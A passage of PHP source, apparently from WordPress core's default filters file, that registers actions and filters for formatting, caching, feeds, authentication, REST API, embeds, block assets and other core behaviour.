add_action( 'added_post_meta', 'wp_cache_set_posts_last_changed' );
add_action( 'updated_post_meta', 'wp_cache_set_posts_last_changed' );
add_action( 'deleted_post_meta', 'wp_cache_set_posts_last_changed' );

// User meta.
add_action( 'added_user_meta', 'wp_cache_set_users_last_changed' );
add_action( 'updated_user_meta', 'wp_cache_set_users_last_changed' );
add_action( 'deleted_user_meta', 'wp_cache_set_users_last_changed' );
add_action( 'add_user_role', 'wp_cache_set_users_last_changed' );
add_action( 'set_user_role', 'wp_cache_set_users_last_changed' );
add_action( 'remove_user_role', 'wp_cache_set_users_last_changed' );

// Term meta.
add_action( 'added_term_meta', 'wp_cache_set_terms_last_changed' );
add_action( 'updated_term_meta', 'wp_cache_set_terms_last_changed' );
add_action( 'deleted_term_meta', 'wp_cache_set_terms_last_changed' );
add_filter( 'get_term_metadata', 'wp_check_term_meta_support_prefilter' );
add_filter( 'add_term_metadata', 'wp_check_term_meta_support_prefilter' );
add_filter( 'update_term_metadata', 'wp_check_term_meta_support_prefilter' );
add_filter( 'delete_term_metadata', 'wp_check_term_meta_support_prefilter' );
add_filter( 'get_term_metadata_by_mid', 'wp_check_term_meta_support_prefilter' );
add_filter( 'update_term_metadata_by_mid', 'wp_check_term_meta_support_prefilter' );
add_filter( 'delete_term_metadata_by_mid', 'wp_check_term_meta_support_prefilter' );
add_filter( 'update_term_metadata_cache', 'wp_check_term_meta_support_prefilter' );

// Comment meta.
add_action( 'added_comment_meta', 'wp_cache_set_comments_last_changed' );
add_action( 'updated_comment_meta', 'wp_cache_set_comments_last_changed' );
add_action( 'deleted_comment_meta', 'wp_cache_set_comments_last_changed' );

// Places to balance tags on input.
foreach ( array( 'content_save_pre', 'excerpt_save_pre', 'comment_save_pre', 'pre_comment_content' ) as $filter ) {
	add_filter( $filter, 'convert_invalid_entities' );
	add_filter( $filter, 'balanceTags', 50 );
}

// Add proper rel values for links with target.
add_action( 'init', 'wp_init_targeted_link_rel_filters' );

// Format strings for display.
foreach ( array( 'comment_author', 'term_name', 'link_name', 'link_description', 'link_notes', 'bloginfo', 'wp_title', 'document_title', 'widget_title' ) as $filter ) {
	add_filter( $filter, 'wptexturize' );
	add_filter( $filter, 'convert_chars' );
	add_filter( $filter, 'esc_html' );
}

// Format WordPress.
foreach ( array( 'the_content', 'the_title', 'wp_title', 'document_title' ) as $filter ) {
	add_filter( $filter, 'capital_P_dangit', 11 );
}
add_filter( 'comment_text', 'capital_P_dangit', 31 );

// Format titles.
foreach ( array( 'single_post_title', 'single_cat_title', 'single_tag_title', 'single_month_title', 'nav_menu_attr_title', 'nav_menu_description' ) as $filter ) {
	add_filter( $filter, 'wptexturize' );
	add_filter( $filter, 'strip_tags' );
}

// Format text area for display.
foreach ( array( 'term_description', 'get_the_post_type_description' ) as $filter ) {
	add_filter( $filter, 'wptexturize' );
	add_filter( $filter, 'convert_chars' );
	add_filter( $filter, 'wpautop' );
	add_filter( $filter, 'shortcode_unautop' );
}

// Format for RSS.
add_filter( 'term_name_rss', 'convert_chars' );

// Pre save hierarchy.
add_filter( 'wp_insert_post_parent', 'wp_check_post_hierarchy_for_loops', 10, 2 );
add_filter( 'wp_update_term_parent', 'wp_check_term_hierarchy_for_loops', 10, 3 );

// Display filters.
add_filter( 'the_title', 'wptexturize' );
add_filter( 'the_title', 'convert_chars' );
add_filter( 'the_title', 'trim' );

add_filter( 'the_content', 'do_blocks', 9 );
add_filter( 'the_content', 'wptexturize' );
add_filter( 'the_content', 'convert_smilies', 20 );
add_filter( 'the_content', 'wpautop' );
add_filter( 'the_content', 'shortcode_unautop' );
add_filter( 'the_content', 'prepend_attachment' );
add_filter( 'the_content', 'wp_replace_insecure_home_url' );
add_filter( 'the_content', 'do_shortcode', 11 ); // AFTER wpautop().
add_filter( 'the_content', 'wp_filter_content_tags', 12 ); // Runs after do_shortcode().

add_filter( 'the_excerpt', 'wptexturize' );
add_filter( 'the_excerpt', 'convert_smilies' );
add_filter( 'the_excerpt', 'convert_chars' );
add_filter( 'the_excerpt', 'wpautop' );
add_filter( 'the_excerpt', 'shortcode_unautop' );
add_filter( 'the_excerpt', 'wp_replace_insecure_home_url' );
add_filter( 'the_excerpt', 'wp_filter_content_tags', 12 );
add_filter( 'get_the_excerpt', 'wp_trim_excerpt', 10, 2 );

add_filter( 'the_post_thumbnail_caption', 'wptexturize' );
add_filter( 'the_post_thumbnail_caption', 'convert_smilies' );
add_filter( 'the_post_thumbnail_caption', 'convert_chars' );

add_filter( 'comment_text', 'wptexturize' );
add_filter( 'comment_text', 'convert_chars' );
add_filter( 'comment_text', 'make_clickable', 9 );
add_filter( 'comment_text', 'force_balance_tags', 25 );
add_filter( 'comment_text', 'convert_smilies', 20 );
add_filter( 'comment_text', 'wpautop', 30 );

add_filter( 'comment_excerpt', 'convert_chars' );

add_filter( 'list_cats', 'wptexturize' );

add_filter( 'wp_sprintf', 'wp_sprintf_l', 10, 2 );

add_filter( 'widget_text', 'balanceTags' );
add_filter( 'widget_text_content', 'capital_P_dangit', 11 );
add_filter( 'widget_text_content', 'wptexturize' );
add_filter( 'widget_text_content', 'convert_smilies', 20 );
add_filter( 'widget_text_content', 'wpautop' );
add_filter( 'widget_text_content', 'shortcode_unautop' );
add_filter( 'widget_text_content', 'wp_replace_insecure_home_url' );
add_filter( 'widget_text_content', 'do_shortcode', 11 ); // Runs after wpautop(); note that $post global will be null when shortcodes run.
add_filter( 'widget_text_content', 'wp_filter_content_tags', 12 ); // Runs after do_shortcode().

add_filter( 'widget_block_content', 'do_blocks', 9 );
add_filter( 'widget_block_content', 'do_shortcode', 11 );
add_filter( 'widget_block_content', 'wp_filter_content_tags', 12 ); // Runs after do_shortcode().

add_filter( 'block_type_metadata', 'wp_migrate_old_typography_shape' );

add_filter( 'wp_get_custom_css', 'wp_replace_insecure_home_url' );

// RSS filters.
add_filter( 'the_title_rss', 'strip_tags' );
add_filter( 'the_title_rss', 'ent2ncr', 8 );
add_filter( 'the_title_rss', 'esc_html' );
add_filter( 'the_content_rss', 'ent2ncr', 8 );
add_filter( 'the_content_feed', 'wp_staticize_emoji' );
add_filter( 'the_content_feed', '_oembed_filter_feed_content' );
add_filter( 'the_excerpt_rss', 'convert_chars' );
add_filter( 'the_excerpt_rss', 'ent2ncr', 8 );
add_filter( 'comment_author_rss', 'ent2ncr', 8 );
add_filter( 'comment_text_rss', 'ent2ncr', 8 );
add_filter( 'comment_text_rss', 'esc_html' );
add_filter( 'comment_text_rss', 'wp_staticize_emoji' );
add_filter( 'bloginfo_rss', 'ent2ncr', 8 );
add_filter( 'the_author', 'ent2ncr', 8 );
add_filter( 'the_guid', 'esc_url' );

// Email filters.
add_filter( 'wp_mail', 'wp_staticize_emoji_for_email' );

// Robots filters.
add_filter( 'wp_robots', 'wp_robots_noindex' );
add_filter( 'wp_robots', 'wp_robots_noindex_embeds' );
add_filter( 'wp_robots', 'wp_robots_noindex_search' );
add_filter( 'wp_robots', 'wp_robots_max_image_preview_large' );

// Mark site as no longer fresh.
foreach (
	array(
		'publish_post',
		'publish_page',
		'wp_ajax_save-widget',
		'wp_ajax_widgets-order',
		'customize_save_after',
		'rest_after_save_widget',
		'rest_delete_widget',
		'rest_save_sidebar',
	) as $action
) {
	add_action( $action, '_delete_option_fresh_site', 0 );
}

// Misc filters.
add_filter( 'option_ping_sites', 'privacy_ping_filter' );
add_filter( 'option_blog_charset', '_wp_specialchars' ); // IMPORTANT: This must not be wp_specialchars() or esc_html() or it'll cause an infinite loop.
add_filter( 'option_blog_charset', '_canonical_charset' );
add_filter( 'option_home', '_config_wp_home' );
add_filter( 'option_siteurl', '_config_wp_siteurl' );
add_filter( 'tiny_mce_before_init', '_mce_set_direction' );
add_filter( 'teeny_mce_before_init', '_mce_set_direction' );
add_filter( 'pre_kses', 'wp_pre_kses_less_than' );
add_filter( 'pre_kses', 'wp_pre_kses_block_attributes', 10, 3 );
add_filter( 'sanitize_title', 'sanitize_title_with_dashes', 10, 3 );
add_action( 'check_comment_flood', 'check_comment_flood_db', 10, 4 );
add_filter( 'comment_flood_filter', 'wp_throttle_comment_flood', 10, 3 );
add_filter( 'pre_comment_content', 'wp_rel_ugc', 15 );
add_filter( 'comment_email', 'antispambot' );
add_filter( 'option_tag_base', '_wp_filter_taxonomy_base' );
add_filter( 'option_category_base', '_wp_filter_taxonomy_base' );
add_filter( 'the_posts', '_close_comments_for_old_posts', 10, 2 );
add_filter( 'comments_open', '_close_comments_for_old_post', 10, 2 );
add_filter( 'pings_open', '_close_comments_for_old_post', 10, 2 );
add_filter( 'editable_slug', 'urldecode' );
add_filter( 'editable_slug', 'esc_textarea' );
add_filter( 'pingback_ping_source_uri', 'pingback_ping_source_uri' );
add_filter( 'xmlrpc_pingback_error', 'xmlrpc_pingback_error' );
add_filter( 'title_save_pre', 'trim' );

add_action( 'transition_comment_status', '_clear_modified_cache_on_transition_comment_status', 10, 2 );

add_filter( 'http_request_host_is_external', 'allowed_http_request_hosts', 10, 2 );

// REST API filters.
add_action( 'xmlrpc_rsd_apis', 'rest_output_rsd' );
add_action( 'wp_head', 'rest_output_link_wp_head', 10, 0 );
add_action( 'template_redirect', 'rest_output_link_header', 11, 0 );
add_action( 'auth_cookie_malformed', 'rest_cookie_collect_status' );
add_action( 'auth_cookie_expired', 'rest_cookie_collect_status' );
add_action( 'auth_cookie_bad_username', 'rest_cookie_collect_status' );
add_action( 'auth_cookie_bad_hash', 'rest_cookie_collect_status' );
add_action( 'auth_cookie_valid', 'rest_cookie_collect_status' );
add_action( 'application_password_failed_authentication', 'rest_application_password_collect_status' );
add_action( 'application_password_did_authenticate', 'rest_application_password_collect_status', 10, 2 );
add_filter( 'rest_authentication_errors', 'rest_application_password_check_errors', 90 );
add_filter( 'rest_authentication_errors', 'rest_cookie_check_errors', 100 );

// Actions.
add_action( 'wp_head', '_wp_render_title_tag', 1 );
add_action( 'wp_head', 'wp_enqueue_scripts', 1 );
add_action( 'wp_head', 'wp_resource_hints', 2 );
add_action( 'wp_head', 'wp_preload_resources', 1 );
add_action( 'wp_head', 'feed_links', 2 );
add_action( 'wp_head', 'feed_links_extra', 3 );
add_action( 'wp_head', 'rsd_link' );
add_action( 'wp_head', 'locale_stylesheet' );
add_action( 'publish_future_post', 'check_and_publish_future_post', 10, 1 );
add_action( 'wp_head', 'wp_robots', 1 );
add_action( 'wp_head', 'print_emoji_detection_script', 7 );
add_action( 'wp_head', 'wp_print_styles', 8 );
add_action( 'wp_head', 'wp_print_head_scripts', 9 );
add_action( 'wp_head', 'wp_generator' );
add_action( 'wp_head', 'rel_canonical' );
add_action( 'wp_head', 'wp_shortlink_wp_head', 10, 0 );
add_action( 'wp_head', 'wp_custom_css_cb', 101 );
add_action( 'wp_head', 'wp_site_icon', 99 );
add_action( 'wp_footer', 'wp_print_footer_scripts', 20 );
add_action( 'template_redirect', 'wp_shortlink_header', 11, 0 );
add_action( 'wp_print_footer_scripts', '_wp_footer_scripts' );
add_action( 'init', '_register_core_block_patterns_and_categories' );
add_action( 'init', 'check_theme_switched', 99 );
add_action( 'init', array( 'WP_Block_Supports', 'init' ), 22 );
add_action( 'switch_theme', 'wp_clean_theme_json_cache' );
add_action( 'start_previewing_theme', 'wp_clean_theme_json_cache' );
add_action( 'after_switch_theme', '_wp_menus_changed' );
add_action( 'after_switch_theme', '_wp_sidebars_changed' );
add_action( 'wp_enqueue_scripts', 'wp_enqueue_emoji_styles' );
add_action( 'wp_print_styles', 'print_emoji_styles' ); // Retained for backwards-compatibility. Unhooked by wp_enqueue_emoji_styles().

if ( isset( $_GET['replytocom'] ) ) {
	add_filter( 'wp_robots', 'wp_robots_no_robots' );
}

// Login actions.
add_action( 'login_head', 'wp_robots', 1 );
add_filter( 'login_head', 'wp_resource_hints', 8 );
add_action( 'login_head', 'wp_print_head_scripts', 9 );
add_action( 'login_head', 'print_admin_styles', 9 );
add_action( 'login_head', 'wp_site_icon', 99 );
add_action( 'login_footer', 'wp_print_footer_scripts', 20 );
add_action( 'login_init', 'send_frame_options_header', 10, 0 );

// Feed generator tags.
foreach ( array( 'rss2_head', 'commentsrss2_head', 'rss_head', 'rdf_header', 'atom_head', 'comments_atom_head', 'opml_head', 'app_head' ) as $action ) {
	add_action( $action, 'the_generator' );
}

// Feed Site Icon.
add_action( 'atom_head', 'atom_site_icon' );
add_action( 'rss2_head', 'rss2_site_icon' );


// WP Cron.
if ( ! defined( 'DOING_CRON' ) ) {
	add_action( 'init', 'wp_cron' );
}

// HTTPS migration.
add_action( 'update_option_home', 'wp_update_https_migration_required', 10, 2 );

// 2 Actions 2 Furious.
add_action( 'do_feed_rdf', 'do_feed_rdf', 10, 0 );
add_action( 'do_feed_rss', 'do_feed_rss', 10, 0 );
add_action( 'do_feed_rss2', 'do_feed_rss2', 10, 1 );
add_action( 'do_feed_atom', 'do_feed_atom', 10, 1 );
add_action( 'do_pings', 'do_all_pings', 10, 0 );
add_action( 'do_all_pings', 'do_all_pingbacks', 10, 0 );
add_action( 'do_all_pings', 'do_all_enclosures', 10, 0 );
add_action( 'do_all_pings', 'do_all_trackbacks', 10, 0 );
add_action( 'do_all_pings', 'generic_ping', 10, 0 );
add_action( 'do_robots', 'do_robots' );
add_action( 'do_favicon', 'do_favicon' );
add_action( 'set_comment_cookies', 'wp_set_comment_cookies', 10, 3 );
add_action( 'sanitize_comment_cookies', 'sanitize_comment_cookies' );
add_action( 'init', 'smilies_init', 5 );
add_action( 'plugins_loaded', 'wp_maybe_load_widgets', 0 );
add_action( 'plugins_loaded', 'wp_maybe_load_embeds', 0 );
add_action( 'shutdown', 'wp_ob_end_flush_all', 1 );
// Create a revision whenever a post is updated.
add_action( 'wp_after_insert_post', 'wp_save_post_revision_on_insert', 9, 3 );
add_action( 'post_updated', 'wp_save_post_revision', 10, 1 );
add_action( 'publish_post', '_publish_post_hook', 5, 1 );
add_action( 'transition_post_status', '_transition_post_status', 5, 3 );
add_action( 'transition_post_status', '_update_term_count_on_transition_post_status', 10, 3 );
add_action( 'comment_form', 'wp_comment_form_unfiltered_html_nonce' );

// Privacy.
add_action( 'user_request_action_confirmed', '_wp_privacy_account_request_confirmed' );
add_action( 'user_request_action_confirmed', '_wp_privacy_send_request_confirmation_notification', 12 ); // After request marked as completed.
add_filter( 'wp_privacy_personal_data_exporters', 'wp_register_comment_personal_data_exporter' );
add_filter( 'wp_privacy_personal_data_exporters', 'wp_register_media_personal_data_exporter' );
add_filter( 'wp_privacy_personal_data_exporters', 'wp_register_user_personal_data_exporter', 1 );
add_filter( 'wp_privacy_personal_data_erasers', 'wp_register_comment_personal_data_eraser' );
add_action( 'init', 'wp_schedule_delete_old_privacy_export_files' );
add_action( 'wp_privacy_delete_old_export_files', 'wp_privacy_delete_old_export_files' );

// Cron tasks.
add_action( 'wp_scheduled_delete', 'wp_scheduled_delete' );
add_action( 'wp_scheduled_auto_draft_delete', 'wp_delete_auto_drafts' );
add_action( 'importer_scheduled_cleanup', 'wp_delete_attachment' );
add_action( 'upgrader_scheduled_cleanup', 'wp_delete_attachment' );
add_action( 'delete_expired_transients', 'delete_expired_transients' );

// Navigation menu actions.
add_action( 'delete_post', '_wp_delete_post_menu_item' );
add_action( 'delete_term', '_wp_delete_tax_menu_item', 10, 3 );
add_action( 'transition_post_status', '_wp_auto_add_pages_to_menu', 10, 3 );
add_action( 'delete_post', '_wp_delete_customize_changeset_dependent_auto_drafts' );

// Post Thumbnail specific image filtering.
add_action( 'begin_fetch_post_thumbnail_html', '_wp_post_thumbnail_class_filter_add' );
add_action( 'end_fetch_post_thumbnail_html', '_wp_post_thumbnail_class_filter_remove' );
add_action( 'begin_fetch_post_thumbnail_html', '_wp_post_thumbnail_context_filter_add' );
add_action( 'end_fetch_post_thumbnail_html', '_wp_post_thumbnail_context_filter_remove' );

// Redirect old slugs.
add_action( 'template_redirect', 'wp_old_slug_redirect' );
add_action( 'post_updated', 'wp_check_for_changed_slugs', 12, 3 );
add_action( 'attachment_updated', 'wp_check_for_changed_slugs', 12, 3 );

// Redirect old dates.
add_action( 'post_updated', 'wp_check_for_changed_dates', 12, 3 );
add_action( 'attachment_updated', 'wp_check_for_changed_dates', 12, 3 );

// Nonce check for post previews.
add_action( 'init', '_show_post_preview' );

// Output JS to reset window.name for previews.
add_action( 'wp_head', 'wp_post_preview_js', 1 );

// Timezone.
add_filter( 'pre_option_gmt_offset', 'wp_timezone_override_offset' );

// If the upgrade hasn't run yet, assume link manager is used.
add_filter( 'default_option_link_manager_enabled', '__return_true' );

// This option no longer exists; tell plugins we always support auto-embedding.
add_filter( 'pre_option_embed_autourls', '__return_true' );

// Default settings for heartbeat.
add_filter( 'heartbeat_settings', 'wp_heartbeat_settings' );

// Check if the user is logged out.
add_action( 'admin_enqueue_scripts', 'wp_auth_check_load' );
add_filter( 'heartbeat_send', 'wp_auth_check' );
add_filter( 'heartbeat_nopriv_send', 'wp_auth_check' );

// Default authentication filters.
add_filter( 'authenticate', 'wp_authenticate_username_password', 20, 3 );
add_filter( 'authenticate', 'wp_authenticate_email_password', 20, 3 );
add_filter( 'authenticate', 'wp_authenticate_application_password', 20, 3 );
add_filter( 'authenticate', 'wp_authenticate_spam_check', 99 );
add_filter( 'determine_current_user', 'wp_validate_auth_cookie' );
add_filter( 'determine_current_user', 'wp_validate_logged_in_cookie', 20 );
add_filter( 'determine_current_user', 'wp_validate_application_password', 20 );

// Split term updates.
add_action( 'admin_init', '_wp_check_for_scheduled_split_terms' );
add_action( 'split_shared_term', '_wp_check_split_default_terms', 10, 4 );
add_action( 'split_shared_term', '_wp_check_split_terms_in_menus', 10, 4 );
add_action( 'split_shared_term', '_wp_check_split_nav_menu_terms', 10, 4 );
add_action( 'wp_split_shared_term_batch', '_wp_batch_split_terms' );

// Comment type updates.
add_action( 'admin_init', '_wp_check_for_scheduled_update_comment_type' );
add_action( 'wp_update_comment_type_batch', '_wp_batch_update_comment_type' );

// Email notifications.
add_action( 'comment_post', 'wp_new_comment_notify_moderator' );
add_action( 'comment_post', 'wp_new_comment_notify_postauthor' );
add_action( 'after_password_reset', 'wp_password_change_notification' );
add_action( 'register_new_user', 'wp_send_new_user_notifications' );
add_action( 'edit_user_created_user', 'wp_send_new_user_notifications', 10, 2 );

// REST API actions.
add_action( 'init', 'rest_api_init' );
add_action( 'rest_api_init', 'rest_api_default_filters', 10, 1 );
add_action( 'rest_api_init', 'register_initial_settings', 10 );
add_action( 'rest_api_init', 'create_initial_rest_routes', 99 );
add_action( 'parse_request', 'rest_api_loaded' );

// Sitemaps actions.
add_action( 'init', 'wp_sitemaps_get_server' );

/**
 * Filters formerly mixed into wp-includes.
 */
// Theme.
add_action( 'setup_theme', 'create_initial_theme_features', 0 );
add_action( 'after_setup_theme', '_add_default_theme_supports', 1 );
add_action( 'wp_loaded', '_custom_header_background_just_in_time' );
add_action( 'wp_head', '_custom_logo_header_styles' );
add_action( 'plugins_loaded', '_wp_customize_include' );
add_action( 'transition_post_status', '_wp_customize_publish_changeset', 10, 3 );
add_action( 'admin_enqueue_scripts', '_wp_customize_loader_settings' );
add_action( 'delete_attachment', '_delete_attachment_theme_mod' );
add_action( 'transition_post_status', '_wp_keep_alive_customize_changeset_dependent_auto_drafts', 20, 3 );

// Block Theme Previews.
add_action( 'plugins_loaded', 'wp_initialize_theme_preview_hooks', 1 );

// Calendar widget cache.
add_action( 'save_post', 'delete_get_calendar_cache' );
add_action( 'delete_post', 'delete_get_calendar_cache' );
add_action( 'update_option_start_of_week', 'delete_get_calendar_cache' );
add_action( 'update_option_gmt_offset', 'delete_get_calendar_cache' );

// Author.
add_action( 'transition_post_status', '__clear_multi_author_cache' );

// Post.
add_action( 'init', 'create_initial_post_types', 0 ); // Highest priority.
add_action( 'admin_menu', '_add_post_type_submenus' );
add_action( 'before_delete_post', '_reset_front_page_settings_for_post' );
add_action( 'wp_trash_post', '_reset_front_page_settings_for_post' );
add_action( 'change_locale', 'create_initial_post_types' );

// Post Formats.
add_filter( 'request', '_post_format_request' );
add_filter( 'term_link', '_post_format_link', 10, 3 );
add_filter( 'get_post_format', '_post_format_get_term' );
add_filter( 'get_terms', '_post_format_get_terms', 10, 3 );
add_filter( 'wp_get_object_terms', '_post_format_wp_get_object_terms' );

// KSES.
add_action( 'init', 'kses_init' );
add_action( 'set_current_user', 'kses_init' );

// Script Loader.
add_action( 'wp_default_scripts', 'wp_default_scripts' );
add_action( 'wp_default_scripts', 'wp_default_packages' );

add_action( 'wp_enqueue_scripts', 'wp_localize_jquery_ui_datepicker', 1000 );
add_action( 'wp_enqueue_scripts', 'wp_common_block_scripts_and_styles' );
add_action( 'wp_enqueue_scripts', 'wp_enqueue_classic_theme_styles' );
add_action( 'admin_enqueue_scripts', 'wp_localize_jquery_ui_datepicker', 1000 );
add_action( 'admin_enqueue_scripts', 'wp_common_block_scripts_and_styles' );
add_action( 'enqueue_block_assets', 'wp_enqueue_registered_block_scripts_and_styles' );
add_action( 'enqueue_block_assets', 'enqueue_block_styles_assets', 30 );
/*
 * `wp_enqueue_registered_block_scripts_and_styles` is bound to both
 * `enqueue_block_editor_assets` and `enqueue_block_assets` hooks
 * since the introduction of the block editor in WordPress 5.0.
 *
 * The way this works is that the block assets are loaded before any other assets.
 * For example, this is the order of styles for the editor:
 *
 * - front styles registered for blocks, via `styles` handle (block.json)
 * - editor styles registered for blocks, via `editorStyles` handle (block.json)
 * - editor styles enqueued via `enqueue_block_editor_assets` hook
 * - front styles enqueued via `enqueue_block_assets` hook
 */
add_action( 'enqueue_block_editor_assets', 'wp_enqueue_registered_block_scripts_and_styles' );
add_action( 'enqueue_block_editor_assets', 'enqueue_editor_block_styles_assets' );
add_action( 'enqueue_block_editor_assets', 'wp_enqueue_editor_block_directory_assets' );
add_action( 'enqueue_block_editor_assets', 'wp_enqueue_editor_format_library_assets' );
add_action( 'enqueue_block_editor_assets', 'wp_enqueue_global_styles_css_custom_properties' );
add_action( 'wp_print_scripts', 'wp_just_in_time_script_localization' );
add_filter( 'print_scripts_array', 'wp_prototype_before_jquery' );
add_action( 'customize_controls_print_styles', 'wp_resource_hints', 1 );
add_action( 'admin_head', 'wp_check_widget_editor_deps' );
add_filter( 'block_editor_settings_all', 'wp_add_editor_classic_theme_styles' );

// Global styles can be enqueued in both the header and the footer. See https://core.trac.wordpress.org/ticket/53494.
add_action( 'wp_enqueue_scripts', 'wp_enqueue_global_styles' );
add_action( 'wp_footer', 'wp_enqueue_global_styles', 1 );

// Global styles custom CSS.
add_action( 'wp_enqueue_scripts', 'wp_enqueue_global_styles_custom_css' );

// Block supports, and other styles parsed and stored in the Style Engine.
add_action( 'wp_enqueue_scripts', 'wp_enqueue_stored_styles' );
add_action( 'wp_footer', 'wp_enqueue_stored_styles', 1 );

add_action( 'wp_default_styles', 'wp_default_styles' );
add_filter( 'style_loader_src', 'wp_style_loader_src', 10, 2 );

add_action( 'wp_head', 'wp_maybe_inline_styles', 1 ); // Run for styles enqueued in <head>.
add_action( 'wp_footer', 'wp_maybe_inline_styles', 1 ); // Run for late-loaded styles in the footer.

/*
 * Block specific actions and filters.
 */

// Footnotes Block.
add_action( 'init', '_wp_footnotes_kses_init' );
add_action( 'set_current_user', '_wp_footnotes_kses_init' );
add_filter( 'force_filtered_html_on_import', '_wp_footnotes_force_filtered_html_on_import_filter', 999 );

/*
 * Disable "Post Attributes" for wp_navigation post type. The attributes are
 * also conditionally enabled when a site has custom templates. Block Theme
 * templates can be available for every post type.
 */
add_filter( 'theme_wp_navigation_templates', '__return_empty_array' );

// Taxonomy.
add_action( 'init', 'create_initial_taxonomies', 0 ); // Highest priority.
add_action( 'change_locale', 'create_initial_taxonomies' );

// Canonical.
add_action( 'template_redirect', 'redirect_canonical' );
add_action( 'template_redirect', 'wp_redirect_admin_locations', 1000 );

// Media.
add_action( 'wp_playlist_scripts', 'wp_playlist_scripts' );
add_action( 'customize_controls_enqueue_scripts', 'wp_plupload_default_settings' );
add_action( 'plugins_loaded', '_wp_add_additional_image_sizes', 0 );
add_filter( 'plupload_default_settings', 'wp_show_heic_upload_error' );

// Nav menu.
add_filter( 'nav_menu_item_id', '_nav_menu_item_id_use_once', 10, 2 );
add_filter( 'nav_menu_css_class', 'wp_nav_menu_remove_menu_item_has_children_class', 10, 4 );

// Widgets.
add_action( 'after_setup_theme', 'wp_setup_widgets_block_editor', 1 );
add_action( 'init', 'wp_widgets_init', 1 );
add_action( 'change_locale', array( 'WP_Widget_Media', 'reset_default_labels' ) );
add_action( 'widgets_init', '_wp_block_theme_register_classic_sidebars', 1 );

// Admin Bar.
// Don't remove. Wrong way to disable.
add_action( 'template_redirect', '_wp_admin_bar_init', 0 );
add_action( 'admin_init', '_wp_admin_bar_init' );
add_action( 'wp_enqueue_scripts', 'wp_enqueue_admin_bar_bump_styles' );
add_action( 'wp_enqueue_scripts', 'wp_enqueue_admin_bar_header_styles' );
add_action( 'admin_enqueue_scripts', 'wp_enqueue_admin_bar_header_styles' );
add_action( 'before_signup_header', '_wp_admin_bar_init' );
add_action( 'activate_header', '_wp_admin_bar_init' );
add_action( 'wp_body_open', 'wp_admin_bar_render', 0 );
add_action( 'wp_footer', 'wp_admin_bar_render', 1000 ); // Back-compat for themes not using `wp_body_open`.
add_action( 'in_admin_header', 'wp_admin_bar_render', 0 );

// Former admin filters that can also be hooked on the front end.
add_action( 'media_buttons', 'media_buttons' );
add_filter( 'image_send_to_editor', 'image_add_caption', 20, 8 );
add_filter( 'media_send_to_editor', 'image_media_send_to_editor', 10, 3 );

// Embeds.
add_action( 'rest_api_init', 'wp_oembed_register_route' );
add_filter( 'rest_pre_serve_request', '_oembed_rest_pre_serve_request', 10, 4 );

add_action( 'wp_head', 'wp_oembed_add_discovery_links' );
add_action( 'wp_head', 'wp_oembed_add_host_js' ); // Back-compat for sites disabling oEmbed host JS by removing action.
add_filter( 'embed_oembed_html', 'wp_maybe_enqueue_oembed_host_js' );

add_action( 'embed_head', 'enqueue_embed_scripts', 1 );
add_action( 'embed_head', 'print_emoji_detection_script' );
add_action( 'embed_head', 'wp_enqueue_embed_styles', 9 );
add_action( 'embed_head', 'print_embed_styles' ); // Retained for backwards-compatibility. Unhooked by wp_enqueue_embed_styles().
add_action( 'embed_head', 'wp_print_head_scripts', 20 );
add_action( 'embed_head', 'wp_print_styles', 20 );
add_action( 'embed_head', 'wp_robots' );
add_action( 'embed_head', 'rel_canonical' );
add_action( 'embed_head', 'locale_stylesheet', 30 );
add_action( 'enqueue_embed_scripts', 'wp_enqueue_emoji_styles' );

add_action( 'embed_content_meta', 'print_embed_comments_button' );
add_action( 'embed_content_meta', 'print_embed_sharing_button' );

add_action( 'embed_footer', 'print_embed_sharing_dialog' );
add_action( 'embed_footer', 'print_embed_scripts' );
add_action( 'embed_footer', 'wp_print_footer_scripts', 20 );

add_filter( 'excerpt_more', 'wp_embed_excerpt_more', 20 );
add_filter( 'the_excerpt_embed', 'wptexturize' );
add_filter( 'the_excerpt_embed', 'convert_chars' );
add_filter( 'the_excerpt_embed', 'wpautop' );
add_filter( 'the_excerpt_embed', 'shortcode_unautop' );
add_filter( 'the_excerpt_embed', 'wp_embed_excerpt_attachment' );

add_filter( 'oembed_dataparse', 'wp_filter_oembed_iframe_title_attribute', 5, 3 );
add_filter( 'oembed_dataparse', 'wp_filter_oembed_result', 10, 3 );
add_filter( 'oembed_response_data', 'get_oembed_response_data_rich', 10, 4 );
add_filter( 'pre_oembed_result', 'wp_filter_pre_oembed_result', 10, 3 );

// Capabilities.
add_filter( 'user_has_cap', 'wp_maybe_grant_install_languages_cap', 1 );
add_filter( 'user_has_cap', 'wp_maybe_grant_resume_extensions_caps', 1 );
add_filter( 'user_has_cap', 'wp_maybe_grant_site_health_caps', 1, 4 );

// Block templates post type and rendering.
add_filter( 'render_block_context', '_block_template_render_without_post_block_context' );
add_filter( 'pre_wp_unique_post_slug', 'wp_filter_wp_template_unique_post_slug', 10, 5 );
add_action( 'save_post_wp_template_part', 'wp_set_unique_slug_on_create_template_part' );
add_action( 'wp_enqueue_scripts', 'wp_enqueue_block_template_skip_link' );
add_action( 'wp_footer', 'the_block_template_skip_link' ); // Retained for backwards-compatibility. Unhooked by wp_enqueue_block_template_skip_link().
add_action( 'after_setup_theme', 'wp_enable_block_templates', 1 );
add_action( 'wp_loaded', '_add_template_loader_filters' );

// wp_navigation post type.
add_filter( 'rest_wp_navigation_item_schema', array( 'WP_Navigation_Fallback', 'update_wp_navigation_post_schema' ) );

// Fluid typography.
add_filter( 'render_block', 'wp_render_typography_support', 10, 2 );

// User preferences.
add_action( 'init', 'wp_register_persisted_preferences_meta' );

// CPT wp_block custom postmeta field.
add_action( 'init', 'wp_create_initial_post_meta' );

// Include revisioned meta when considering whether a post revision has changed.
add_filter( 'wp_save_post_revision_post_has_changed', 'wp_check_revisioned_meta_fields_have_changed', 10, 3 );

// Save revisioned post meta immediately after a revision is saved
add_action( '_wp_put_post_revision', 'wp_save_revisioned_meta_fields', 10, 2 );

// Include revisioned meta when creating or updating an autosave revision.
add_action( 'wp_creating_autosave', 'wp_autosave_post_revisioned_meta_fields' );

// When restoring revisions, also restore revisioned meta.
add_action( 'wp_restore_post_revision', 'wp_restore_post_revision_meta', 10, 2 );

// Font management.
add_action( 'wp_head', 'wp_print_font_faces', 50 );
add_action( 'deleted_post', '_wp_after_delete_font_family', 10, 2 );
add_action( 'before_delete_post', '_wp_before_delete_font_face', 10, 2 );
add_action( 'init', '_wp_register_default_font_collections' );

// Add ignoredHookedBlocks metadata attribute to the template and template part post types.
add_filter( 'rest_pre_insert_wp_template', 'inject_ignored_hooked_blocks_metadata_attributes' );
